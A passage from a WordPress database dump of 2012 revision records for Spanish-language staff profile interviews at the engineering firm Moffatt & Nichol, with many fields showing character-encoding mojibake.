manejando actualmente.\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado? </strong>\r\nHe trabajado en diferentes instalaciones marítimas; a saber, terminales de carga seca a granel, terminales de contenedores, terminales de carga líquida a granel y puertos deportivos. Nuestra área de competencia ha abarcado desde estudios de mercado hasta la selección del lugar, desarrollo de concepto, estudios costeros, simulaciones de navegación, ingeniería básica e ingeniería de detalle.\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nA pesar de estar dispersas por el mundo, las oficinas de Moffatt & Nichol trabajan juntas como un equipo unido. Es un ambiente muy amigable de trabajo, con el personal de todas las oficinas ayudándose entre sí de forma cotidiana.\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó? </strong>\r\nLa compañía ha aumentado de tamaño desde cerca de 300 personas a más de 500, se ha expandido geográficamente, ha ampliado sus especialidades a seis áreas y ha implementado un comité de operaciones que está separado de la Junta Directiva\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nDebido a que tengo la oportunidad de trabajar en una variedad de proyectos, siento que me formado mejor como ingeniera. \r\n</p>\r\n','Loraine ','<p class=\"para-text\">\r\n<strong>Loraine</strong>\r\nIngeniera principal de proyectos \r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ã</strong>a? Fui recomendada por un amigo que me informÃ³ que Moffatt & Nichol estaba enfocÃ¡ndose en el mercado latinoamericano. PensÃ© que esta podrÃa ser una asignaciÃ³n emocionante y una gran oportunidad de crecimiento profesional.\r\n\r\n<strong>Â¿QuÃ© le ha mantenido con la compaÃ±Ãa?</strong>\r\nPuedo trabajar en una variedad de ambiciosos proyectos y tambiÃ©n tener la oportunidad de asumir mÃ¡s responsabilidad.\r\n\r\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros?</strong>\r\n</p>','inherit','open','open','','1514-autosave','','','2012-09-06 09:52:13','2012-09-06 09:52:13','',1514,'http://moffattnichol.com/spanish/1514-autosave/',0,'revision','',0),(2682,1,'2012-01-07 07:57:51','2012-01-07 02:27:51','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Gerry.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Gerry.jpg\" alt=\"\" title=\"Gerry\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1518\" /></a>\n<p class=\"para-text\">\n<strong>Gerry</strong>\nVicepresidente, Jefe de especialidad de cimentaciones profundas \n\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol? </strong>\nMe unÃ a la compaÃ±Ãa en 1998\n\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\nPor asociaciÃ³n anterior con Moffatt & Nichol Engineers\n\n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa? </strong>\nLa variedad del trabajo que hacemos y la personalidad de la firma.\n\n<strong>Â¿QuÃ© puesto tenÃa cuando comenzÃ³? </strong>\nIngeniero de diseÃ±o de cimentaciones para el puente de la bahÃa de Oakland, San Francisco. Â¿En quÃ© tipo de proyectos trabaja o ha trabajado? - Cimentaciones de puentes - Estudios y diseÃ±os de terminales marÃtimas - Cimentaciones y subestructuras de turbinas eÃ³licas\n\n<strong>Â¿CÃ³mo ha cambiado la compaÃ±Ãa desde que usted llegÃ³? </strong>\nLa compaÃ±Ãa ha aumentado de tamaÃ±o desde cerca de 300 personas a mÃ¡s de 500, se ha expandido geogrÃ¡ficamente, ha ampliado sus especialidades a seis Ã¡reas y ha implementado un comitÃ© de operaciones que estÃ¡ separado de la Junta Directiva\n\n<strong>Â¿QuÃ© separa a Moffatt & Nichol de la competencia? </strong>\nLa compaÃ±Ãa ofrece una amplia gama de capacidades, la individualidad de los empleados y la buena voluntad de las oficinas para compartir el trabajo y la experiencia profesional, y una estructura corporativa que no es demasiado formal.\n\n</p>\n','Gerry','<p class=\"para-text\">\n<strong>Gerry</strong>\nVicepresidente, Jefe de especialidad de cimentaciones profundas \n\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol? </strong>\nMe unÃ a la compaÃ±Ãa en 1998\n\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\nPor asociaciÃ³n anterior con Moffatt & Nichol Engineers</p>','inherit','open','open','','1517-revision','','','2012-01-07 07:57:51','2012-01-07 02:27:51','',1517,'http://moffattnichol.com/spanish/1517-revision/',0,'revision','',0),(2684,1,'2012-09-06 10:01:50','2012-09-06 10:01:50','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Stephanie.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Stephanie.jpg\" alt=\"\" title=\"Stephanie\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1522\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Stephanie </strong>\r\nIngeniera de transporte/Ingeniera de proyectos \r\n\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nFui contratada después de graduarme de la universidad en 2002. Me enteré sobre Moffatt & Nichol en una feria profesional.\r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía?</strong> \r\nAdemás de la oportunidad de trabajar en una variedad de proyectos, las personas con las que trabajo hacen agradable mi empleo. Los que tienen más experiencia están dispuestos a tomarse tiempo para compartir sus conocimientos con ingenieros más jóvenes. \r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nFui contratada como ingeniera de nivel inicial. He progresado hasta ser ingeniera principal de proyectos, trabajando directamente con clientes e ingenieros más jóvenes en entrenamiento.\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\r\nTrabajo principalmente en proyectos de transporte/civiles. He trabajado en proyectos asociados con rehabilitación de calzadas locales/paisaje urbano y diseño de carreteras, de terminales de transbordadores y de vías férreas.  Específicamente, trabajo en proyectos que implican la geometría de la calzada, análisis de alternativas, nivelación y diseño de drenajes, cálculos de movimientos de tierra, diseño de la sección estructural del pavimento, estimados de costos de construcción, y diseño y coordinación de servicios públicos. Actualmente, estoy trabajando una compleja extensión de una línea ferroviaria. \r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó?</strong>\r\nHemos crecido de tamaño y ahora tenemos oficinas en ubicaciones internacionales. \r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nDebido a que Moffatt & Nichol no es una enorme corporación, los empleados sienten que no son solo un número. También tenemos muchas personas que han trabajado para la compañía por años (¡o décadas!); eso es una buena indicación de que disfrutan de trabajar aquí.\r\n</p>','Stephanie ','<p class=\"para-text\">\r\n<strong>Stephanie </strong>\r\nIngeniera de transporte/Ingeniera de proyectos \r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\r\nFui contratada despuÃ©s de graduarme de la universidad en 2002. Me enterÃ© sobre Moffatt & Nichol en una feria profesional.\r\n\r\n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa?</strong> \r\nAdemÃ¡s de la oportunidad de trabajar en una variedad de proyectos, las personas con las que trabajo hacen agradable mi empleo. Los que tienen mÃ¡s experiencia estÃ¡n dispuestos a tomarse tiempo para compartir sus conocimientos con ingenieros mÃ¡s jÃ³venes. </p>','inherit','open','open','','1521-autosave','','','2012-09-06 10:01:50','2012-09-06 10:01:50','',1521,'http://moffattnichol.com/spanish/1521-autosave/',0,'revision','',0),(2686,1,'2012-01-06 08:01:29','2012-01-06 08:01:29','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Stephanie.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Stephanie.jpg\" alt=\"\" title=\"Stephanie\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1522\" /></a>\n<p class=\"para-text\">\n<strong>Stephanie </strong>\nIngeniera de transporte/Ingeniera de proyectos \n\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\nFui contratada despuÃ©s de graduarme de la universidad en 2002. Me enterÃ© sobre Moffatt & Nichol en una feria profesional.\n\n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa?</strong> \nAdemÃ¡s de la oportunidad de trabajar en una variedad de proyectos, las personas con las que trabajo hacen agradable mi empleo. Los que tienen mÃ¡s experiencia estÃ¡n dispuestos a tomarse tiempo para compartir sus conocimientos con ingenieros mÃ¡s jÃ³venes. \n\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros?</strong>\nFui contratada como ingeniera de nivel inicial. He progresado hasta ser ingeniera principal de proyectos, trabajando directamente con clientes e ingenieros mÃ¡s jÃ³venes en entrenamiento.\n\n<strong>Â¿En quÃ© tipos de proyecto trabaja o ha trabajado?</strong>\nTrabajo principalmente en proyectos de transporte/civiles. He trabajado en proyectos asociados con rehabilitaciÃ³n de calzadas locales/paisaje urbano y diseÃ±o de carreteras, de terminales de transbordadores y de vÃas fÃ©rreas.  EspecÃficamente, trabajo en proyectos que implican la geometrÃa de la calzada, anÃ¡lisis de alternativas, nivelaciÃ³n y diseÃ±o de drenajes, cÃ¡lculos de movimientos de tierra, diseÃ±o de la secciÃ³n estructural del pavimento, estimados de costos de construcciÃ³n, y diseÃ±o y coordinaciÃ³n de servicios pÃºblicos. Actualmente, estoy trabajando una compleja extensiÃ³n de una lÃnea ferroviaria. \n\n<strong>Â¿CÃ³mo ha cambiado la compaÃ±Ãa desde que usted llegÃ³?</strong>\nHemos crecido de tamaÃ±o y ahora tenemos oficinas en ubicaciones internacionales. \n\n<strong>Â¿QuÃ© separa a Moffatt & Nichol de la competencia?</strong>\nDebido a que Moffatt & Nichol no es una enorme corporaciÃ³n, los empleados sienten que no son solo un nÃºmero. TambiÃ©n tenemos muchas personas que han trabajado para la compaÃ±Ãa por aÃ±os (Â¡o dÃ©cadas!); eso es una buena indicaciÃ³n de que disfrutan de trabajar aquÃ.\n</p>','Stephanie ','<p class=\"para-text\">\n<strong>Stephanie </strong>\nIngeniera de transporte/Ingeniera de proyectos \n\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\nFui contratada despuÃ©s de graduarme de la universidad en 2002. Me enterÃ© sobre Moffatt & Nichol en una feria profesional.\n\n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa?</strong> \nAdemÃ¡s de la oportunidad de trabajar en una variedad de proyectos, las personas con las que trabajo hacen agradable mi empleo. Los que tienen mÃ¡s experiencia estÃ¡n dispuestos a tomarse tiempo para compartir sus conocimientos con ingenieros mÃ¡s jÃ³venes. </p>','inherit','open','open','','1521-revision','','','2012-01-06 08:01:29','2012-01-06 08:01:29','',1521,'http://moffattnichol.com/spanish/1521-revision/',0,'revision','',0),(2687,1,'2012-01-05 08:05:06','2012-01-05 02:35:06','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor.jpg\" alt=\"\" title=\"victor\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1525\" /></a>\n\n<strong>Victor</strong>\nTÃ©cnico en CADD civil \n\n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa?</strong>\nHe permanecido con la firma durante tanto tiempo porque el trabajo es estimulante y las personas son excelentes.\n\n<strong>Â¿QuÃ© puesto tenÃa cuando comenzÃ³?</strong>\nComencÃ© como tÃ©cnico CADD civil \n\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros?</strong>\nHe progresado desde ser un tÃ©cnico a ser coordinador de red interino y encargado de CADD para la oficina de San Diego\n\n<strong>Â¿En quÃ© tipos de proyecto trabaja o ha trabajado?</strong>\nHe trabajado en varios proyectos de dragado y algunos proyectos civiles\n\n<strong>Â¿CÃ³mo ha cambiado la compaÃ±Ãa desde que usted llegÃ³?</strong>\nAfortunadamente, la compaÃ±Ãa no ha cambiado mucho desde que he estado aquÃ, y estoy agradecido por eso.\n\n<strong>Â¿CÃ³mo describirÃa el ambiente de trabajo?</strong>\nVeo mi ambiente como un negocio familiar; nos llevamos bien para un propÃ³sito comÃºn.\n\n<strong>Â¿QuÃ© es lo que le da mÃ¡s satisfacciÃ³n de su funciÃ³n?</strong>\nPoder hacer las cosas que me gusta hacer en un ambiente que me lo permita, me da mucha satisfacciÃ³n.\n\n<strong>Â¿QuÃ© separa a Moffatt & Nichol de la competencia?</strong>? Muchas compaÃ±Ãas hacen un trabajo igual o similar al de Moffatt & Nichol, pero creo que el ambiente de trabajo aquÃ nos hace muy superiores a otras compaÃ±Ãas\n</p>','Victor ','<p class=\"para-text\">\n<strong>Victor</strong>\nTÃ©cnico en CADD civil \n\n<strong>Â¿Cuanto tiempo ha trabajado con la firma?</strong>\nHe estado con Moffatt & Nichol por tres excelentes aÃ±os.\n\n<strong>Â¿CÃ³mo llegÃ³ a Moffatt & Nichol?</strong>\nColoquÃ© mi CV en lÃnea en monster.com, y Dave Lowy, reclutador interno de Moffatt & Nichol, me encontrÃ³ y me mostrÃ³ que la firma era el lugar ideal para mÃ.</p>','inherit','open','open','','1524-revision','','','2012-01-05 08:05:06','2012-01-05 02:35:06','',1524,'http://moffattnichol.com/spanish/1524-revision/',0,'revision','',0);
INSERT INTO `wp_posts` VALUES (2688,1,'2012-09-06 10:03:50','2012-09-06 10:03:50','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor.jpg\" alt=\"\" title=\"victor\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1525\" /></a>\r\n\r\n<strong>Victor</strong>\r\nTécnico en CADD civil \r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía?</strong>\r\nHe permanecido con la firma durante tanto tiempo porque el trabajo es estimulante y las personas son excelentes.\r\n\r\n<strong>¿Qué puesto tenía cuando comenzó?</strong>\r\nComencé como técnico CADD civil \r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nHe progresado desde ser un técnico a ser coordinador de red interino y encargado de CADD para la oficina de San Diego\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\r\nHe trabajado en varios proyectos de dragado y algunos proyectos civiles\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó?</strong>\r\nAfortunadamente, la compañía no ha cambiado mucho desde que he estado aquí, y estoy agradecido por eso.\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nVeo mi ambiente como un negocio familiar; nos llevamos bien para un propósito común.\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nPoder hacer las cosas que me gusta hacer en un ambiente que me lo permita, me da mucha satisfacción.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>? Muchas compañías hacen un trabajo igual o similar al de Moffatt & Nichol, pero creo que el ambiente de trabajo aquí nos hace muy superiores a otras compañías\r\n</p>','Victor ','<p class=\"para-text\">\r\n<strong>Victor</strong>\r\nTÃ©cnico en CADD civil \r\n\r\n<strong>Â¿Cuanto tiempo ha trabajado con la firma?</strong>\r\nHe estado con Moffatt & Nichol por tres excelentes aÃ±os.\r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a Moffatt & Nichol?</strong>\r\nColoquÃ© mi CV en lÃnea en monster.com, y Dave Lowy, reclutador interno de Moffatt & Nichol, me encontrÃ³ y me mostrÃ³ que la firma era el lugar ideal para mÃ.</p>','inherit','open','open','','1524-autosave','','','2012-09-06 10:03:50','2012-09-06 10:03:50','',1524,'http://moffattnichol.com/spanish/1524-autosave/',0,'revision','',0),(2689,1,'2012-01-04 08:24:06','2012-01-04 02:54:06','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Ira.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Ira.jpg\" alt=\"\" title=\"Ira\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1530\" /></a>\n\n<strong>Ira</strong>\nIngeniero civil/geotÃ©cnico \n\n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa?</strong>\nUna variedad de proyectos estimulantes e interesantes junto con la oportunidad de trabajar con profesionales expertos en sus campos y clientes que aprecian nuestras ideas.\n \n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros?</strong>\nComencÃ© como ingeniero de proyecto, trabajando con nuestros ingenieros internos, y ahora actÃºo como gerente de proyectos. \n\n<strong>Â¿En quÃ© tipos de proyecto trabaja o ha trabajado?</strong>\nProyectos portuarios y costeros, incluyendo renovaciones de terminales marÃtimas, reemplazos de pavimento, rompeolas, recuperaciÃ³n de playas y proyectos de dragado.\n\n<strong>Â¿QuÃ© es lo que le da mÃ¡s satisfacciÃ³n de su funciÃ³n?</strong>\nInteractuar con otros ingenieros y ver como se desarrolla una soluciÃ³n prÃ¡ctica a partir de un problema complejo.\n\n<strong>Â¿CuÃ¡l es el proyecto mÃ¡s interesante en que ha participado mientras trabaja con M&N?</strong>\nParticipar en el proyecto Craney Island Eastward Expansion me ha permitido trabajar de cerca con expertos en el campo de la ingenierÃa geotÃ©cnica (incluyendo profesores de Virginia Tech e ingenieros de JapÃ³n y Londres) que traen experiencias y lecciones aprendidas de proyectos de todo el mundo. \n\n</p>','Ira','<p class=\"para-text\">\n<strong>Ira</strong>\nIngeniero civil/geotÃ©cnico \n\n<strong>Â¿Cuanto tiempo ha trabajado con M&N? </strong>\n5 aÃ±os \n\n<strong>Â¿CÃ³mo llegÃ³ a M&</strong>N? Debido a mi interÃ©s en proyectos costeros y portuarios, siempre habÃa estado familiarizado con la gran reputaciÃ³n de Moffatt & Nichol en esas Ã¡reas. Tuve la suerte de conocer al gerente de la oficina de Norfolk y enterarme sobre una oportunidad en la reciente oficina de Norfolk. ','inherit','open','open','','1529-revision','','','2012-01-04 08:24:06','2012-01-04 02:54:06','',1529,'http://moffattnichol.com/spanish/1529-revision/',0,'revision','',0),(2690,1,'2012-01-02 08:41:30','2012-01-02 03:11:30','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/rod.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/rod.jpg\" alt=\"\" title=\"rod\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1538\" /></a>\n\n<p class=\"para-text\">\n<strong>Rod</strong>\nIngeniero civil principal/Arquitecto naval\n\n<strong>Â¿Cuanto tiempo ha trabajado con M&N?</strong>\nHe estado aquÃ algo mÃ¡s de 13 aÃ±os. \n\n<strong>Â¿QuÃ© puesto tenÃa cuando comenzÃ³?</strong>\nComencÃ© como ingeniero de proyectos trabajando en el reforzamiento sÃsmico de las instalaciones de una gran terminal marÃtima petrolera. Era responsable de modelar el terminal y de determinar la cantidad y ubicaciÃ³n del reforzamiento necesario. Era un modelo muy complicado en ese entonces, pero aprendÃ mucho del desarrollo y anÃ¡lisis de ese modelo y de trabajar con el gerente del proyecto. TambiÃ©n trabajÃ© como arquitecto naval en varios proyectos, analizando y diseÃ±ando sistemas de amarre para barcos, desembarques de transbordador y en otros tipos de naves. Incluso analicÃ© la estabilidad hidrostÃ¡tica de un excusado exterior flotante para un proyecto.\n\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros? </strong>\nAhora manejo proyectos, principalmente terminales marÃtimas petroleras, desde que las nuevas reglamentaciones entraron en vigencia. Disfruto de este trabajo porque utilizo mi experiencia tanto en ingenierÃa estructural como en arquitectura naval. Realmente disfruto de trabajar con terminales porque veo que mis clientes se preocupan por sus instalaciones y quieren saber lo que pueden hacer para mejorarlas. Es una forma de trabajar en equipo en un proyecto. TambiÃ©n he participado en proyectos de muelles y dÃ¡rsenas. Como ya tengo mis aÃ±os y ademÃ¡s tengo experiencia en este tipo de proyectos, me pidieron participar en un comitÃ© nacional que estÃ¡ desarrollando criterios de diseÃ±o antisÃsmico para muelles y dÃ¡rsenas. Esa ha sido una experiencia muy agradable, ya que pude conocer y trabajar con algunas personas muy inteligentes y experimentadas y siento que estoy contribuyendo a una norma de diseÃ±o nacional. Â¿No es genial?\n\n<strong>Â¿En quÃ© tipos de proyecto trabaja o ha trabajado? </strong>\nAdemÃ¡s de muelles, dÃ¡rsenas y sistemas de amarre de buques, tambiÃ©n he trabajado en puertos deportivos y puentes. He participado en el desarrollo conceptual de un sendero peatonal alrededor de un lago en una ubicaciÃ³n muy panorÃ¡mica. Aunque las condiciones del diseÃ±o para el sendero eran muy difÃciles, el mayor desafÃo era comunicar cÃ³mo iba a lucir el sendero al cliente y a la comunidad antes de terminar cualquier trabajo real de diseÃ±o de ingenierÃa. Terminamos creando algunas foto-simulaciones del sendero muy realistas desde diferentes Ã¡ngulos para mostrar a todos que la estructura no serÃa algo horrible y que mejorarÃa la seguridad peatonal. \n</p>\n','Rod','<p class=\"para-text\">\n<strong>Rod</strong>\nIngeniero civil principal/Arquitecto naval\n\n<strong>Â¿Cuanto tiempo ha trabajado con M&N?</strong>\nHe estado aquÃ algo mÃ¡s de 13 aÃ±os. \n\n<strong>Â¿QuÃ© puesto tenÃa cuando comenzÃ³?</strong>\nComencÃ© como ingeniero de proyectos trabajando en el reforzamiento sÃsmico de las instalaciones de una gran terminal marÃtima petrolera.</p>','inherit','open','open','','1537-revision','','','2012-01-02 08:41:30','2012-01-02 03:11:30','',1537,'http://moffattnichol.com/spanish/1537-revision/',0,'revision','',0),(2691,1,'2012-09-06 10:08:03','2012-09-06 10:08:03','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/rod.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/rod.jpg\" alt=\"\" title=\"rod\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1538\" /></a>\r\n\r\n<p class=\"para-text\">\r\n<strong>Rod</strong>\r\nIngeniero civil principal/Arquitecto naval\r\n\r\n<strong>¿Cuanto tiempo ha trabajado con M&N?</strong>\r\nHe estado aquí algo más de 13 años. \r\n\r\n<strong>¿Qué puesto tenía cuando comenzó?</strong>\r\nComencé como ingeniero de proyectos trabajando en el reforzamiento sísmico de las instalaciones de una gran terminal marítima petrolera. Era responsable de modelar el terminal y de determinar la cantidad y ubicación del reforzamiento necesario. Era un modelo muy complicado en ese entonces, pero aprendí mucho del desarrollo y análisis de ese modelo y de trabajar con el gerente del proyecto. También trabajé como arquitecto naval en varios proyectos, analizando y diseñando sistemas de amarre para barcos, desembarques de transbordador y en otros tipos de naves. Incluso analicé la estabilidad hidrostática de un excusado exterior flotante para un proyecto.\r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros? </strong>\r\nAhora manejo proyectos, principalmente terminales marítimas petroleras, desde que las nuevas reglamentaciones entraron en vigencia. Disfruto de este trabajo porque utilizo mi experiencia tanto en ingeniería estructural como en arquitectura naval. Realmente disfruto de trabajar con terminales porque veo que mis clientes se preocupan por sus instalaciones y quieren saber lo que pueden hacer para mejorarlas. Es una forma de trabajar en equipo en un proyecto. También he participado en proyectos de muelles y dársenas. Como ya tengo mis años y además tengo experiencia en este tipo de proyectos, me pidieron participar en un comité nacional que está desarrollando criterios de diseño antisísmico para muelles y dársenas. Esa ha sido una experiencia muy agradable, ya que pude conocer y trabajar con algunas personas muy inteligentes y experimentadas y siento que estoy contribuyendo a una norma de diseño nacional. ¿No es genial?\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado? </strong>\r\nAdemás de muelles, dársenas y sistemas de amarre de buques, también he trabajado en puertos deportivos y puentes. He participado en el desarrollo conceptual de un sendero peatonal alrededor de un lago en una ubicación muy panorámica. Aunque las condiciones del diseño para el sendero eran muy difíciles, el mayor desafío era comunicar cómo iba a lucir el sendero al cliente y a la comunidad antes de terminar cualquier trabajo real de diseño de ingeniería. Terminamos creando algunas foto-simulaciones del sendero muy realistas desde diferentes ángulos para mostrar a todos que la estructura no sería algo horrible y que mejoraría la seguridad peatonal. \r\n</p>\r\n','Rod','<p class=\"para-text\">\r\n<strong>Rod</strong>\r\nIngeniero civil principal/Arquitecto naval\r\n\r\n<strong>Â¿Cuanto tiempo ha trabajado con M&N?</strong>\r\nHe estado aquÃ algo mÃ¡s de 13 aÃ±os. \r\n\r\n<strong>Â¿QuÃ© puesto tenÃa cuando comenzÃ³?</strong>\r\nComencÃ© como ingeniero de proyectos trabajando en el reforzamiento sÃsmico de las instalaciones de una gran terminal marÃtima petrolera.</p>','inherit','open','open','','1537-autosave','','','2012-09-06 10:08:03','2012-09-06 10:08:03','',1537,'http://moffattnichol.com/spanish/1537-autosave/',0,'revision','',0),(2692,1,'2012-01-01 08:45:33','2012-01-01 03:15:33','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Johney.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Johney.jpg\" alt=\"\" title=\"Johney\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1542\" /></a>\n<p class=\"para-text\">\n<strong>Johnny </strong>\nIngeniero hidrÃ¡ulico \n\n<strong>Â¿CÃ³mo llegÃ³ a M&N? </strong>\nComencÃ© a trabajar con la firma hace 14 aÃ±os, despuÃ©s de terminar las clases para mi maestrÃa.\n\n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa?</strong>\nTrabajo en una variedad de proyectos en la firma, lo que me mantiene al tanto de los Ãºltimos avances en mi campo de experiencia profesional, la ingenierÃa costera e hidrÃ¡ulica. La firma promueve un espÃritu emprendedor, que da a todos los empleados un verdadero sentido de propiedad y contribuciÃ³n. La firma tambiÃ©n valora la calidad del trabajo por encima del margen de beneficio y estÃ¡ comprometida con relaciones de largo plazo con los clientes.\n\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros?</strong>\nPrimero trabajÃ© como tÃ©cnico en ingenierÃa y despuÃ©s como ingeniero de proyecto. Ahora trabajo como gerente de proyecto para proyectos de recursos costeros e hÃdricos. AdemÃ¡s de mi responsabilidad en la gerencia del proyecto, apoyo los esfuerzos del desarrollo de negocios en nuestra especialidad de recursos costeros, medioambientales e hÃdricos. TambiÃ©n oriento a ingenieros jÃ³venes en nuestra oficina.\n\n<strong>Â¿En quÃ© tipo de proyectos trabaja? </strong>\nTrabajo bÃ¡sicamente en proyectos de ingenierÃa de recursos costeros e hÃdricos, que comprenden desde infraestructura de drenaje y mejores prÃ¡cticas de gestiÃ³n de aguas pluviales para puertos y municipalidades, o proyectos de recuperaciÃ³n de playas y planeamiento de bocas de entrada para organismos locales y estatales, hasta diseÃ±os hidrÃ¡ulicos de propuestas de aliviaderos y tinas de reutilizaciÃ³n de agua de esclusas. \n\n<strong>Â¿CÃ³mo ha cambiado la compaÃ±Ãa desde que usted llegÃ³?</strong>\nHemos duplicado de tamaÃ±o, pero aÃºn mantenemos nuestro ambiente â€œfamiliarâ€.  Hemos abierto muchas oficinas nuevas en Estados Unidos y a nivel internacional, pero hemos mantenido nuestro principal talento tÃ©cnico en los centros especializados que proporcionan productos de alta calidad a nuestros clientes en todo el mundo. \n</p>\n\n','Johnny','<p class=\"para-text\">\n<strong>Johnny </strong>\nIngeniero hidrÃ¡ulico \n\n<strong>Â¿CÃ³mo llegÃ³ a M&N? </strong>\nComencÃ© a trabajar con la firma hace 14 aÃ±os, despuÃ©s de terminar las clases para mi maestrÃa.\n\n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa?</strong>\nTrabajo en una variedad de proyectos en la firma, lo que me mantiene al tanto de los Ãºltimos avances en mi campo de experiencia profesional, la ingenierÃa costera e hidrÃ¡ulica. La firma promueve un espÃritu emprendedor, que da a todos los empleados un verdadero sentido de propiedad y contribuciÃ³n.</p>','inherit','open','open','','1541-revision','','','2012-01-01 08:45:33','2012-01-01 03:15:33','',1541,'http://moffattnichol.com/spanish/1541-revision/',0,'revision','',0),(2693,1,'2012-09-06 10:09:35','2012-09-06 10:09:35','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Johney.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Johney.jpg\" alt=\"\" title=\"Johney\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1542\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Johnny </strong>\r\nIngeniero hidráulico \r\n\r\n<strong>¿Cómo llegó a M&N? </strong>\r\nComencé a trabajar con la firma hace 14 años, después de terminar las clases para mi maestría.\r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía?</strong>\r\nTrabajo en una variedad de proyectos en la firma, lo que me mantiene al tanto de los últimos avances en mi campo de experiencia profesional, la ingeniería costera e hidráulica. La firma promueve un espíritu emprendedor, que da a todos los empleados un verdadero sentido de propiedad y contribución. La firma también valora la calidad del trabajo por encima del margen de beneficio y está comprometida con relaciones de largo plazo con los clientes.\r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nPrimero trabajé como técnico en ingeniería y después como ingeniero de proyecto. Ahora trabajo como gerente de proyecto para proyectos de recursos costeros e hídricos. Además de mi responsabilidad en la gerencia del proyecto, apoyo los esfuerzos del desarrollo de negocios en nuestra especialidad de recursos costeros, medioambientales e hídricos. También oriento a ingenieros jóvenes en nuestra oficina.\r\n\r\n<strong>¿En qué tipo de proyectos trabaja? </strong>\r\nTrabajo básicamente en proyectos de ingeniería de recursos costeros e hídricos, que 